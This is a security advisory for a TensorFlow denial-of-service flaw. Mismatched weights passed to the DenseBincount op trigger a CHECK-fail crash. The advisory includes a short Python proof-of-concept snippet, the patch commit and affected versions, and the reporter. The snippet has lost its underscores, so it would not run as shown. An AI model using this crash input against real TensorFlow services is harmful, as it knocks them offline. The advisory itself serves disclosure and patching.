PT-2026-59867 · Pypi · Tensorflow

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

DenseBincount assumes its input tensor weights to either have the same shape as its input tensor input or to be length-0. A different weights shape will trigger a CHECK fail that can be used to trigger a denial of service attack.
python
import tensorflow as tf
binary output = True
input = tf.random.uniform(shape=[0, 0], minval=-10000, maxval=10000, dtype=tf.int32, seed=-2460)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw ops.DenseBincount(input=input, size=size, weights=weights, binary output=binary output)

Patches

We have patched the issue in GitHub commit bf4c14353c2328636a18bfad1e151052c81d5f43.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-3252

Affected Products

Tensorflow